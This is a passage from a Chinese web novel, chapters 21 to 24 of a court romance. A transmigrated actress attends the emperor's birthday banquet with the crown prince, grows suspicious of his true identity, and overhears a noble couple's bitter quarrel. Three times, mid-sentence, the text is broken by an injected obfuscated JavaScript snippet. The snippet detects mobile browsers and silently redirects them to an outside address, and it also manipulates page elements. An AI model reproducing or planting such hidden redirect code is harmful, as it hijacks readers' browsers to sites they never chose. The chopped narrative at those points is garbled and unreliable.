甫一踏入车厢,迎面便撞上一双含笑的丹凤眼,熠熠生辉。 果然,是萧长离。 苏南并未随林若华进入车内,只默然坐到驾车的凌北身旁。 马车随即朝着皇宫的方向驶去。 此刻,林若华与萧长离二人相对而坐。 林若华打量着萧长离,见他一身赤色衮龙袍,腰系玉带,头戴九旒冕,一副君临天下的模样,却与自己挤在小小的车厢里,不由含笑打趣问道:“你怎么亲自来了?这一路摇摇晃晃的,就不怕弄乱了你这身精心的打扮?” 九旒冕的五色玉珠随着马车轻轻晃动,萧长离因头顶冠冕,动作不得不格外沉稳,只得微微颔首。 他的目光落在林若华发间,那支他特意请人打造的的桃花发簪上,笑意更浓:“那你呢?幸好今日没有戴那些繁重的头饰,跟个圣诞树似的,否则一场宴会下来,脖子怕是要受罪了。” 因尚未行大婚之礼,林若华还不能穿戴太子妃规制的褕翟和花九树。 今日她身穿一袭庄重的蓝色袄裙,戴着皇后赏赐的牡丹发钗和萧长离所赠的桃花发簪,点缀些简洁的珠花,既不失身份,又别具清雅。 “你明明猜得到原因,还来笑话我。”林若华瞪着萧长离,怪他旧事重提。 在陌生人面前出丑是一回事,在熟人面前,尤其是在他面前出丑,又是另一回事。 想到萧长离当时定是强忍笑意,还要装作视而不见,林若华就恨不得立刻找个地缝钻进去。 她越想越窘,脸上不禁烧得厉害,连忙将头侧向一边,假意去看晃动的车帘。 萧长离见她耳根泛红,收敛了调侃之意,右手握拳,抵在嘴边轻咳一声后,正色道:“我知道你当时的顾虑,是我不该拿这个开玩笑。” 见萧长离认错,林若华这才转回头,微微扬起下巴,问道:“那我今天的打扮好看吗?” 萧长离端详她片刻,一本正经道:“皎如明月,翩若惊鸿,美若天仙,宛如九天玄女下凡尘。” 林若华眉梢微挑,点了点头,算是就此揭过。 “那我呢?”萧长离眸光闪动,顺势问道。 林若华忍住笑意,也端详起他,模仿着他方才的语气:“殿下自是龙章凤姿,仪表堂堂,气度不凡。” 萧长离闻言,眉头一皱,唇角一勾,似有不满:“有些敷衍,为何到了我这里,就只剩下干巴巴的龙章凤姿,仪表堂堂,气度不凡,连个像样的比喻都没有了?” “好好好。”林若华眨了眨眼,眼底闪过一丝狡黠,“殿下英武不凡,比那天蓬元帅还要英俊潇洒,满意了?” 车内顿时响起欢声笑语,不可避免地传到了车外,驾车的凌北忍不住侧头,张了张嘴,似乎想对身旁始终沉默的苏南低声感慨两句。 可他还未开口,苏南就像是早已料到,目不斜视,面无表情道:“赶你的车。” 凌北悻悻地闭了嘴。 好在不多时,皇宫已近在眼前。 仍是上回查验的侍卫在宫门处值守,凌北亮出东宫的腰牌,侍卫二话不说,当即放行。 马车一路畅通无阻,经过重重宫门,最终,停在了一处僻静的宫苑外墙边。 萧长离先一步下了车,随即转身,朝车厢内伸出手,林若华将手搭在他的掌心上,借着他的力道,稳稳落地。 林若华站定,四下一望,此处环境清幽,不见闲杂人等,只有隐约传来的丝竹之音,昭示着另一端的喧闹与喜庆。 她心中好奇,踮起脚尖,凑近萧长离的耳边轻声问道:“怎么感觉和上回来时差不多,今天是皇上万寿,普天同庆,一路走来,好像没有见到太多喜庆的布置。” 与她想象中的万寿节氛围相去甚远。 萧长离极为配合地俯身靠近她,九旒冕的玉珠轻轻碰撞,发出清脆的声响。 闻言,到她耳边低声解释:“父皇一向不喜铺张奢靡,尤恶劳民伤财,故而万寿节庆贺,宫内也一向主张从简,家宴更是只重团聚,不尚虚礼。” 他见林若华眼中仍有疑惑,又道:“况且,走这条僻静之路,能直接抵达宫中举办家宴的宫殿,省去许多麻烦。” 林若华恍然,原来如此。 她望向萧长离,眉眼弯弯,用手轻轻遮住嘴,小声道:“我们就这么直接进去,不用随从开道,或者让内侍先行通传吗?这样悄悄地直接坐马车到了宴会门口,不像是来参加皇帝的寿宴,反而像是灰姑娘,偷偷溜来参加王子的舞会。” 萧长离眼底笑意更浓,他也学着林若华的样子,故意压低声音配合道:“好,我记下了,下次定然备好南瓜马车接你,再寻一只老鼠为你驾车。不过你放心,晚上十二点之前,就会将你安然送回府中,绝不会让你狼狈离去。” 况且,他可不是那个会让灰姑娘从眼前逃走的愚蠢王子。 萧长离与林若华这般旁若无人低头私语,相视而笑的模样,落在熟悉他们的凌北和苏南眼中,已是习惯。 但在外人眼里,却是一副惊世骇俗的景象,一向行事乖张、令人捉摸不定的太子殿下,何时对女子这般温柔过?简直是判若两人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16552933|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “啪”,像是有什么东西落地,声音不大,却清楚地落入凌北与苏南这等习武之人的耳中。 “何人?”凌北反应极快,目光紧盯声音来处,拇指一推,腰间长剑已应声出鞘两寸,寒光乍现。 苏南并未出声,但右手已背至身后,握住了冰冷的匕首,眼神警惕。 短暂的寂静后,柏树后传来一声略带尴尬的轻咳。 “太子殿下,是臣。”随着话音,一位身穿红衣的年轻公子显了出来,面如冠玉,眉目间自带一股风流意味,只是此刻神色略显不自然。 他弯腰从地上拾起一把落地的扇子,轻轻拍去并不存在的灰尘,试图强作镇定。 林若华闻声望去,一双多情的桃花眼,一把几乎不离手的金陵折扇,处处故作风流倜傥。 林若华心中一动:呀,这不是对女主爱而不得的男二,镇国公世子叶景谦吗? 萧长离自然也看见了他,眉峰一挑,将他从头到脚打量一番,语气漫不经心,却带着讥讽:“哟,孤当是谁呢,没想到叶世子不在里面听曲,喜好躲在暗处偷窥,竟还有这等癖好,真是让孤大开眼界啊。” 叶景谦自幼与萧玄鹤一同长大,是萧玄鹤的表哥,故素来与萧长离不睦,闻言眼底闪过一丝怒意,但很快便被一贯的玩世不恭所取代,扇子在掌心敲了敲:“太子殿下说笑了,不过是宴席未开,里头人多气闷,出来随意走走,透透气罢了。” 心下啐道:真是晦气,这么偏僻的角落,竟也能撞见这煞星! 他目光状似无意地扫过萧长离身旁的林若华,眼中霎时出现难以掩饰的惊艳,再看向萧长离时,带上几分轻佻道:“只是谁知这般巧合,撞见太子殿下在此与佳人幽会呢?若是传了出去,只怕又要成就一段风流佳话了。” 萧长离何等敏锐,岂会错过他方才那一瞬的失神? 心头莫名火起,脸上虽还在笑,只是那笑意未达眼底,反而透出几分危险的意味:“叶世子此言,是羡慕孤与未婚妻感情甚笃,相处融洽?” 他不待叶景谦回答,话锋一转,“不过世子倒也无须羡慕,孤还未恭喜世子,听闻父皇有意将六皇妹指婚于你,若此事成真,叶世子便是驸马,真是亲上加亲,可喜可贺啊。” 叶景谦脸上那点调笑之色瞬间僵住,收敛得干干净净:“太子殿下莫要开这等玩笑!六公主年方十二,尚未及笄,此话若传出去,有损公主清誉。” 更何况,本朝驸马不得参政,公主虽然尊贵,但他岂愿做个闲散驸马,束缚住手脚? “哈哈哈哈哈。”萧长离仿佛听到了什么极有趣的笑话,畅快地放声大笑起来,最后带着警告的意味道,“那就拭目以待,看看孤究竟是不是在开玩笑了!” 他不再多给脸色难看的叶景谦一眼,自然地牵起林若华的手,转身便朝着设宴的方向行去,凌北与苏南紧随其后。 叶景谦僵在原地,望着萧长离一行人离去的背影,眉头紧紧蹙起,心中惊疑不定。他不解太子突然提及六公主的婚事是何用意,是随口威胁,还是陛下真有此打算? 而太子的那位未婚妻,不正是表弟心心念念的林家姑娘吗? 等一下,林姑娘是长这个样子吗? 他在原地驻足片刻,终是摇着扇子,也朝着宫殿方向去了。 这场万寿节的家宴,怕是比想象中还要有趣。 22. 惊醒 萧长离的步伐又快又急,林若华不得不加快步子才能跟上。 她的目光不由得落在两人交握的手上,不疼,但拉得很紧。 再往上,是萧长离的侧脸,虽然此刻面无表情,但是林若华能清楚地感受到,对方并不是在演戏,是真的在生气。 为什么? 即使面对处处与他相争的男主萧玄鹤,萧长离都能谈笑自若,游刃有余,从未这般失态。 方才男二叶景谦所说的话,虽不客气,却符合他风流倜傥、吊儿郎当的人设,萧长离为什么这么生气? 林若华脑子里飞快地回想着剧本中的情节。 没错,萧长离的确更讨厌威胁自己地位的萧玄鹤,对于叶景谦的厌恶,仅仅源于他站在萧玄鹤那一方。 难道在她不知道的地方,又发生了什么事? 那双林若华熟悉的眼眸里,深不见底。 不对! 太阳已经落山,临近霜降的秋风太凉,迎面打得林若华一个哆嗦。 直接把林若华给打醒了。 她再次抬眼,审视着身侧这个男人。 她想起来了,想起那段关于名字只是代号的对话。 林若华曾说过,名字不过是个代号,自己始终是对方认识的那个人。 可此时此刻,正死死拉着自己的萧长离,好像、犹如、仿佛、似乎,和她记忆中的那个人不太一样啊! “手怎么这样凉?” 关切的低语在耳边响起。 林若华蓦然回神,对上萧长离已转过来的面容。 映入眼帘的,是她所熟悉的温润笑意,带着融融暖意。 这让林若华有一瞬间的恍惚,几乎要以为方才压抑怒火的萧长离只是她的错觉。 她也扬起嘴角,轻笑道:“毕竟都到秋天的夜里了,风又大,是有点冷。” 宫中设下的家宴定在戌时,也就是晚上七点开始,眼看时辰将至。 “无妨,我们到了。”他语气平和,仿佛刚才的一切都未曾发生。 原来,沿着宫苑外墙走不多时,便豁然开朗,举办家宴的宫殿已近在眼前,檐下悬挂的宫灯将四周照得亮如白昼。 侍卫身着甲胄肃立两旁,宫人们捧着酒壶穿梭其间,悠扬的丝竹之音从殿内传出,一浪高过一浪,可林若华陷入沉思,浑然不觉。 此时,她不动声色地想将手抽回,萧长离却似乎并未察觉,依旧握着。 没有太子仪仗开道,也未让内侍高声通传。 萧长离就这么牵着林若华的手,无视两旁纷纷躬身行礼的宫人,径直迈过高高的门槛,大摇大摆地走了进去。 殿内灯火通明,林若华目不斜视,眸光越过殿中诸多长案,落向最前方高高在上的御座,御座尚且空悬,圣驾未至。 二人所过之处,隐约的交谈声都低了下去。 无视诸多意味不明的目光,他们步上玉阶,在御座左侧稍低,专为太子所设的席位落座。 这个位置,足以俯瞰殿中所有皇室宗亲与重臣。 萧长离这才松开了她的手。 林若华不着痕迹地将手腕缩回衣袖中。 眼前的长案上摆放着各色水果和茶酒。 萧长离并未看她,也未曾与任何人寒暄,只是拎起银壶,为自己斟满一杯酒,仰首一饮而尽,喉结滚动,带着一种难以言喻的烦躁。 大殿内原本低声交谈的众人,自太子入内后便歇了,唯有乐师仍在兢兢业业地演奏着悠扬的乐曲,但殿内气氛压抑,无人敢在此时上前叨扰明显心情不佳的太子。 似有若无、或明或暗的视线扫过太子与他身侧的林若华。 林若华安静地坐在萧长离一旁,脸上挂起最为得体的浅笑,仿佛对周遭一切毫无察觉,老老实实地当起背景板。 直到感觉那聚焦在她身上的视线减少,她才借着举起茶杯抿茶的间隙,悄然打量起殿中众人。 能在此殿拥有一席之地的,皆是宗室重臣,而离御座最近的,更是剧情中的重要人物。 先是左手边下不远处的三皇子萧玄鹤与他的未婚妻吏部尚书之女胡玉乔。 萧玄鹤同样身着衮龙袍,却是与萧长离的贵气不同,一如既往的温文尔雅,在他们入内时,他只抬眸淡淡一瞥,神色未变,仍是那派沉稳持重的君子之风。 他身旁的胡玉乔维持着名门闺秀的落落大方,从妆容到衣着,无不精致,无可挑剔。 紧接着便是镇国公本人,年近五十,依旧身形魁梧,眼神坚毅,令人望而生畏。 镇国公夫人王窈莲端坐在其身侧,丰腴富态,在与林若华目光偶然相接时,朝她含笑颔首,神态友善,林若华立刻回以微笑。 他们身旁还有一个明显的空位,应是属于尚未归来的镇国公世子叶景谦。 再过去,就是曾在感恩寺中有过一面之缘的安乐侯夫人。 她今日打扮得珠光宝气,努力想表现得若无其事,但演技显然不如在座的其他几位炉火纯青,不时瞟过来的眼神,以及眉宇间难以完全掩饰的愤恨与不甘,泄露了真实的情绪。 她的双手都隐藏在宽大的袖摆和长案之下,可肩头那不自然的抖动,让人不难猜出,她正如何用力地绞着手帕。 安乐侯夫人身旁,坐着一位年约四十六七,面色有些苍,身材略微发福的男人,这位应该就是女主的父亲安乐侯了。 他竟也毫不避讳,死死地盯着林若华,眼神闪烁不定,除了最初的震惊以外,之后还掺杂着难以置信的惊喜,甚至在她看回过去时,都没有移开视线。 看来,不能置之不理了,不能事事都依靠剧本,安乐侯府回去得好好查查。林若华暗自记下。 另一边,四皇子独自缩在席间,圆滚滚的身子几乎要将那身衮龙袍撑破,他自始至终都低着头,这姿势令他更像一个肉球了。 他专注地盯着自己面前的长案,不敢看向萧长离与林若华这边,想来萧长离之前的斥责,绝非口头说说那么简单。 四皇子名叫萧大鹏,这名字不能说不行,而是相较于他的三哥萧玄鹤,总透着那么一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16571045|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点敷衍的味道。 至于太子的名讳长离,萧长离曾毫不在意地提过,是册封东宫之时,皇帝亲赐的。 思及至此,林若华的目光又不自觉地悄悄瞥向一旁的萧玄鹤。 他并未再饮酒,只是沉默着,修长的手指紧握酒杯,眼神落在早已空了的酒杯上,不知在思索些什么。 自从穿越以来,在最初的七天,林若华确实保持着高度的警惕。 可与萧长离的重逢后,遇见这位来自现代的唯一故人,让她紧绷的神经瞬间放松了下来。 无论是应对难缠的林家人,或是安排苏南护她周全,还是送来的金钱、书籍、首饰、器材,所有的一切困境,都倚仗着萧长离的权势和手段,最后轻易化解。 他说是报救命之恩,言辞恳切,逻辑合理,她就心安理得地接受了,沉浸在他乡遇故知的喜悦与依赖里,却忘了去思考这背后是否别有深意,忘了去审视这个故知本身。 现实世界里,她确实对前辈怀有过朦胧的好感。他英俊,温柔,体贴入微,永远没有脾气,总能包容她的一切。 在她刚入行懵懂无知时伸出援手,在演技上给予她无私的指导,在她心中几乎是完美无缺的存在。 有时,她也会偷偷地在想,前辈愿意花费私人时间,耐心指导她这个新人演技,是不是也对她有那么一点好感? 可他从不与她谈论工作以外的私事,她偶尔在休息时鼓起勇气发去的闲聊信息,都石沉大海,从没有得到过回复。 她终究按捺不住,悄悄询问了与前辈相熟的何导演。 何导演哈哈一笑,拍着她的肩膀说:“别多想,他那个人啊,就是天生的热心肠,看不得别人有困难,最爱帮助新人了!” 原来只是这样吗? 于是,她那点刚刚萌芽的心思,又悄无声息地熄灭了。 那么,究竟是从什么时候开始,他们之间的私下接触变得越来越多,甚至比曾经还要熟悉? 是穿越之后。 他们重逢后的第一次会面,选在偏僻的落月崖。 无论是她自己的理解,还是萧长离的解释,都认为那里人迹罕至,不易被人偷听。 可后来他们多次相见,都在萧长离掌控的秘密产业里,为什么初次非要选在那样一个危险的地方? 她忽然想起曾经在书上看过的一个著名实验。 吊桥效应。 一股寒意,比殿外的秋风更冷。 从落月崖的重逢,到后续的一系列安排,一直以来,她都被萧长离庇护着,引导着。 对方最开始就告诉过自己,他拥有属于萧长离的记忆,一直表现出,却是属于前辈的温柔。 可一旦与她记忆中的不符,她就不禁开始怀疑,坐在她身侧的,这个拥有着熟悉样貌的人,究竟是她曾经相识的那个人,还是拥有故人记忆的太子萧长离? 她感谢对方的庇护,可这隐藏在其中的算计,却让她不喜。 明明该问出那句话的人是她。 你究竟是谁? 23. 家宴 叶景谦一路摇着扇子,漫步走到镇国公夫妇身侧的席位坐下。 镇国公眉头紧锁,侧头狠狠瞪了儿子一眼,碍于场合,只能压低的声音怒骂道:“混账东西,这是什么场合也敢乱跑?” 一旁的镇国公夫人王窈莲见状,连忙打圆场:“夫君,谦儿只在附近走走,他素来知晓轻重。” 叶景谦立刻赔着笑脸,低眉顺眼地认错:“父亲教训的是,儿子知错了,绝不敢再犯。” 镇国公见他这德行,冷哼一声,扭头不再看他。 不多时,叶妃娘娘携六公主驾到。 叶妃不过三十,容貌秀丽,性情娴静,甚至可说是孤僻,常年幽居在自己宫中,深居简出,不设宴,不交际,平日里便是一派人淡如菊的模样,连皇家宴会也极少露面。若非今日是皇帝寿宴避无可避,恐怕依旧见不到她的身影。 她打扮素净,在一众珠围翠绕间尤显格格不入,安静入座后,不言不语,面无表情,连眼睛都不曾眨动一下,如同一个精致的摆件。 与之迥异的是其女六公主萧青雀,小公主年方十二,娇俏活泼,身着橘红齐胸襦裙,梳着双环髻。 甫一入殿,那双灵动的眸子便转个不停,四下张望,落座后仍不安分,探着脑袋左右顾盼,对周遭诸事皆满是好奇,叶妃对她这般失仪的行止熟视无睹,并未出言约束,任由她去了。 也正是这位小公主,三年前年仅九岁,闹着要学人办赏花宴,也就是萧玄鹤与林若华初次相见之地。 六公主自幼与三皇子萧玄鹤一同在叶妃宫中长大,情分非同一般。 看见萧玄鹤及他身侧的胡玉乔时,当即眉眼弯弯,圆圆的苹果脸上满是天真烂漫。 可当她转头瞧见萧长离与林若华时,立刻小嘴一噘,小脸鼓得像个大包子。 林若华将六公主的反应尽收眼底,心道:这小姑娘心思真简单,什么都写在脸上。不知道她对萧玄鹤的事了解多少?也许以后可以找机会试探一下。 正思虑间,皇后娘娘驾到。 但见皇后缓步而入,她今日装扮得雍容华贵至极,深青色的祎衣庄重典雅,头上所戴的龙凤花钗冠更是熠熠生辉,与上次相见时不同,始终保持着一丝不苟的威严模样。 当今天子后宫不丰,高位妃嫔更是寥寥无几。 除去早年病故或失宠的妃嫔,如今高位唯剩这位继后与育有六公主的叶妃,连四皇子那位出身商贾之家的生母钱嫔,都无缘这等规格的家宴。 “皇上驾到——” 随着内侍悠长的通报,皇帝终于在众人等候中姗姗来迟。 他在庄严的礼乐声中缓步登上御座,众人齐齐起身,行大礼,恭贺之声响彻大殿:“恭祝皇上万寿无疆。” 皇帝沉声道:“今日家宴,不必多礼。” 至此,除了还未登场的女主外,剧中所有重要角色在此汇聚一堂。 皇帝威严地端坐于高处,深邃的目光俯视着下方众人,喜怒不形于色。 这场寿宴,在原本的剧情中并不存在,只因太子骤然薨逝,皇帝哪还有心思操办这些,早已下令取消。 皇帝年届四十九,比林若华上次宫中相见时,似乎又苍老了几分。 太监王锦小心翼翼地为皇帝斟满御酒,皇帝举杯,一饮而尽。 随着他放下酒杯,这场家宴才算正式开场。 宫人鱼贯而入,呈上美味佳肴。 除却常见的山珍海味,席间竟然还有在现代明令禁止食用的保护动物。 这可不是剧组会使用的道具,不然道具老师得喜提牢饭。 看来,这里确实衍生出了一个真实的平行世界,并非仅仅是一部电视剧。 林若华轻轻叹了口气,目光不由自主地再次瞟向身旁的萧长离。 从开宴至今,除了向皇帝恭贺寿辰外,他便一直沉默不语,与周遭的一切格格不入。 有着不同的经历,或许,真该彻底将他视作一个全新的人,而非记忆中的故人。 电视剧与此间,终究是两个世界。 前辈与萧长离,终究是两个人。 她一边低着头,吃着盘中的菜,一边用眼角余光悄悄观察着席间的众人。 整场宴席,气氛极其沉闷。 高座上的皇帝一言不发,皇后也保持沉默,再无交流。 叶妃还是跟个摆件一样,皇子重臣们皆默不作声,连最是活泼的六公主,在这种氛围中也异常安静,小口吃着面前的食物。 偌大的宫殿,除了略显单调的礼乐,竟无一人交谈,唯有乐师在卖力地演奏。 舞姬们舞姿曼妙,真正欣赏舞蹈的却没几人,林若华环视一周,唯见那位镇国公世子叶景谦,正悠哉摇着折扇,目光饶有兴味地追随着舞姬翩跹的身影,看得颇为入神,嘴角还含着一丝玩味的笑意。 林若华:“……” 她在心中默默扶额,活该女主不选你。 她又望向萧玄鹤,见他并未观看歌舞,全程正襟危坐,目不斜视地用饭,一副端方君子的模样。 再想想他日后庞大的后宫阵容,算了,还不如叶景谦呢。 目光又转向身旁的萧长离时,见他也是意兴阑珊,眉宇间带着明显的不耐,面前的菜肴只草草动过几口,便不再触碰,吃得索然无味。 恰在此时,萧长离仿佛感应到她的注视,忽然面无表情地抬眼望来。 两人相视后,林若华一怔,慌忙移开目光,下意识地加快了夹菜的速度,埋头专注于眼前的食物。 终于,一曲终了,舞姬们施礼退下。 这场家宴也迎来了最重要的环节,后妃和皇子公主们依次向皇帝献寿礼。 皇后率先起身,奉上一条亲手缝制的腰带,上面用金线绣了一条栩栩如生的五爪金龙,在腰带前后两端还各绣了一朵精致的牡丹花。 皇帝颔首,语气平淡:“皇后有心了。” 接着是叶妃,她献上的是一卷手抄佛经,祝词也如同她的人一般,没有什么情绪。 皇帝神色未变,只“嗯”了一声,便示意王锦接过。 在母妃身旁的六公主早已按捺不住,雀跃上前,捧上一个色彩艳丽的荷包,声音清脆:“父皇父皇,这是青雀绣了好久的荷包,您看,上面是青雀哦!真的绣了好久呢,手指都扎破了。” 荷包针脚虽略显稚嫩,但一只圆滚滚的小鸟图案却憨态可掬。 面对女儿,皇帝终于露出柔和的一面,轻轻伸手摸了摸萧青雀的小脑袋:“青雀乖。” 六公主顿时笑靥如花,心满意足地转身跑回叶妃身边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16590391|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 轮到萧长离与林若华,二人一同起身,行至殿中,躬身行礼:“恭祝父皇万寿无疆。” 侍从适时呈上早已备好的贺礼,林若华的贺礼是一柄通体洁白无瑕的玉如意,萧长离进献的则是一块质地温润,雕琢着祥云纹的玉璧。 两份礼物虽毫无新意,却挑不出任何错处。 皇帝目光扫过,依旧是那句:“不错。” 接着是萧玄鹤与他的未婚妻胡玉乔。 萧玄鹤献上的是一卷他亲手绘制的山河图,皇帝命人展开,细观片刻,见画中峰峦叠嶂,江水浩渺,景致栩栩如生,竟有身临其境之感,不由奇道:“老三,你未曾离京,竟能将这桂林山水描摹得如此传神。” 萧玄鹤从容应答:“回父皇,儿臣是参照地理志与前人游记,潜心揣摩,方敢下笔。” 皇帝闻言,略点了点头,赞了声:“好。” 胡玉乔紧随其后,令人意外的是,她献上的竟也是一柄玉如意。虽然材质和雕刻工艺也是上等,但前面林若华已经献过相同的贺礼,终究显得有些尴尬。 皇帝目光在她和玉如意上停留一瞬,未置一词,只微微点了点头。 一直缩在席间努力降低存在感的四皇子萧大鹏,此时终于抬头,满脸堆起谄媚笑容。 他站起身,用力拍了拍手示意。 但见殿门外,十余个健壮的侍卫合力推着一辆板车,缓缓驶进大殿,板上载的,赫然是一座金光闪闪的小金山。 高约五尺,径长六尺,山体以纯金铸成,用羊脂白玉雕亭台楼阁,翡翠玛瑙装点的林木花草。 其造型之夸张,用料之奢靡,令人瞠目结舌。 幸而大殿宽敞,足以摆放下,饶是如此,林若华仍看得眼角直抽,下意识地环顾四周,发现面露惊愕或无语之色的,远不止她一人。 据说,这还只是缩小版的,钱家真正进贡给皇帝的那座,比这个还要庞大。 皇帝竟一时让人辨不出是何神情,他的目光在那金山上停留了一息,停顿片刻,方连声赞道:“好,好,好!老四孝心可嘉。” 林若华心下飞快地换算:高大概一米五,直径两米……真可怕,能抵得上国库一年的财政收入了。 怪不得,怪不得。 怪不得皇帝对钱家做的那些伤天害理之事,总是睁一只眼闭一只眼。 她垂下双眸,掩去其中复杂的情绪。 与充实的国库相比,那些平民又算得了什么呢? 从古至今,老百姓的性命都不值钱。 待全部宗亲贺礼送上,皇帝显然已露疲态,并未多留,起驾离去。皇后与叶妃也相继离开。 萧长离未动,林若华便也未提离席之事,只是觉得殿内全是混合在一起的酒味和香味,她轻声对萧长离道:“我出去透透气。” 萧长离转眸看她,没有说话,最终点了点头。 自进殿后,苏南便隐在暗处,见林若华离席,当即悄然跟上。 林若华并未走远,只想寻个清静的地方喘口气,朝着来时停靠马车的宫苑外走去。 未曾想,原本僻静的角落,隐约传来有人说话的声音。 这地方今天可真热闹。 林若华停下脚步,刚想转身离去,谁知竟突然听到自己的名字。 24. 遗憾 “你很喜欢那个林若华,是吧?不能把她娶进家门,你心里很遗憾,是吧?可惜啊,人家如今已是太子未过门的媳妇,你这辈子想都不要想了!” 林若华:“?” 突然听到自己的名字,林若华脚步一顿,心下诧异道:怎么还有我的戏份? 而且这声音愤怒而尖利,透着几分刻薄,有些耳熟啊。 既然与自己有关,她也顾不得什么偷听不偷听、道德不道德了。 林若华上前一步,悄悄躲到一棵粗壮的柏树后,屏住呼吸,再探出头来。 恰在此时,一阵晚风吹过,天上乌云散开,清冷的月光洒下,照亮了前方争执不休的两人。 借着月光,林若华这才看清那两人的面容,眉梢不由微微一挑。 这不是女主的父母,安乐侯和安乐侯夫人吗? 安乐侯夫人不会说得是真的吧? 安乐侯你如今几岁? 她可跟女主一个年纪。 算了算了,先听他们说完吧。 “你又在胡说什么?”安乐侯的声音里压抑着不小的怒气,他扭动脖颈,飞速环顾四周后,这才低声斥责道:“你是生怕别人听不见吗?若是别人听见会如何议论我们,还要不要脸面了?” “脸面?”安乐侯夫人仿佛听到了什么好笑的笑话,先是冷笑一声,继而声音因愤怒而颤抖:“你现在知道要脸面了?刚才在宴席上,你当着所有皇亲贵胄的面,目不转睛地盯着太子妃出神,连杯子里的酒洒出来了都不知道。你敢摸着良心说,如果她不是太子殿下钦定的未婚妻,你不会想办法把她娶进门?” “荒唐!”安乐侯死死盯着她,咬牙切齿地说道,“辉儿已年满十六,到了议亲的年纪,我不过是想着,若是早些见到这位品貌出众的林小姐,或可为辉儿求娶,觅得一桩良缘。你呢?身为辉儿的嫡母,为他考虑过婚事吗?你一心只扑在自己生的女儿身上!” “自己求不得,便想在儿子身上寻求圆满,来安慰你那点见不得人的心思吗?我究竟哪里不如她?这么多年来,陪在你身边的人是我,为你生下女儿的人是我,打理侯府的人是我,是我沙棠!我为自己的亲生女儿寻求前程有什么不对?她也是你的女儿啊!你的女儿也十六岁了,你又为她找过夫婿吗?” 安乐侯夫人终于彻底爆发,瞬间双眼通红,火冒三丈:“水白瑜,这么多年了,你果然还是惦记着沈明月!” “住口!休要胡扯!” 一听到“沈明月”这个名字,安乐侯脸色骤变,似乎不愿多提,转而斥道:“说到女儿的亲事,我正要问你,镇国公府这门亲不仅没成,反倒彻底得罪了镇国公,我在朝堂上与镇国公相遇,他对我鼻子不是鼻子,眼睛不是眼睛的,你究竟背着我干了什么好事?说!” 提及此事,安乐侯夫人下意识地心虚,眼神飘忽不定,不敢与安乐侯对视。 但这点心虚,随即又被更大的委屈和愤怒所取代,她仰起头,死死瞪着同床共枕多年的丈夫,讥讽道:“如果不是因为你无能,只是个空有爵位,没有实权的闲散侯爷,我何必为了女儿的婚事四处奔走,去看人脸色,受人冷眼?如果你能像镇国公那样手握重权,在这京城里说得上话,我们的女儿又何愁找不到一门显赫的亲事?我又何必去费那些心思。” “那你当年为何不嫁他?” 安乐侯脸色涨红,怒不可遏地反击:“再说,人家镇国公夫人是什么样子,你瞧瞧自己,又是什么德行?堂堂的一品侯夫人,整日里抛头露面,还干那等三教九流的低贱营生,简直是惹人笑话,自甘下贱!” “水白瑜!” 安乐侯夫人闻言,气得浑身发抖,原本通红的脸瞬间惨白,用尽全身力气怒吼道:“下贱?你说我行医下贱?你以为我不知道那些贵妇人背地里是如何议论我的吗?嫌我出身卑微,不配与她们同行。我装聋作哑,忍下所有屈辱,靠这一手医术才换来几分尊重,如果不是这低贱的医术,你当年就死了!” 她伸出手,颤抖地指向安乐侯:“水白瑜,你真让我恶心!” “你嫌我恶心?我才觉得你面目可憎!” 安乐侯猛然拂袖,想将安乐侯夫人推离自己身旁,对着同床共枕多年的妻子怒气冲冲道:“当年我本就不是心甘情愿娶你,是你自己挟恩图报!既然你我相看两厌,不如就此和离,一别两宽,各生欢喜!” “和离?”安乐侯夫人如遭雷击,难以置信地看着他,喃喃道:“你答应过沈明月,会好好照顾我,善待我一辈子的。” 她猛扑过去,死死抓住安乐侯的衣袖,蓦然高声:“你不能言而无信!” 安乐侯身体一僵,随即猛然甩开她的手:“你别提她!” 力道之大,让安乐侯夫人踉跄两步,重重跌坐在地上。 安乐侯厌恶地看了她一眼,继而转身离去,没有半分留恋。 “白瑜!水白瑜!” 安乐侯夫人瘫坐在地,她怔怔地望着丈夫头也不回的背影,片刻后,才慌忙从地上爬起,随手用衣袖胡乱抹去脸上的水渍。 她咬了咬牙,不再犹豫,快步追了上去。 待争吵声和脚步声彻底远去,四周重归寂静,林若华这才从柏树后缓缓走出,吁出一口憋了许久的气。 虽未细查,但从方才那场激烈的争吵中,得到的信息量巨大,不难拼凑出事情的真相。 估计又是一个爱恨纠缠的故事,一对彼此折磨的渣男怨女。 其中还牵扯到已故的前朝公主沈明月。 难怪,那日在感恩寺里,明明是第一次见,安乐侯夫人看她却是那种神情,无法言喻、难以言表,带着惊讶、恐惧以及不可置信。 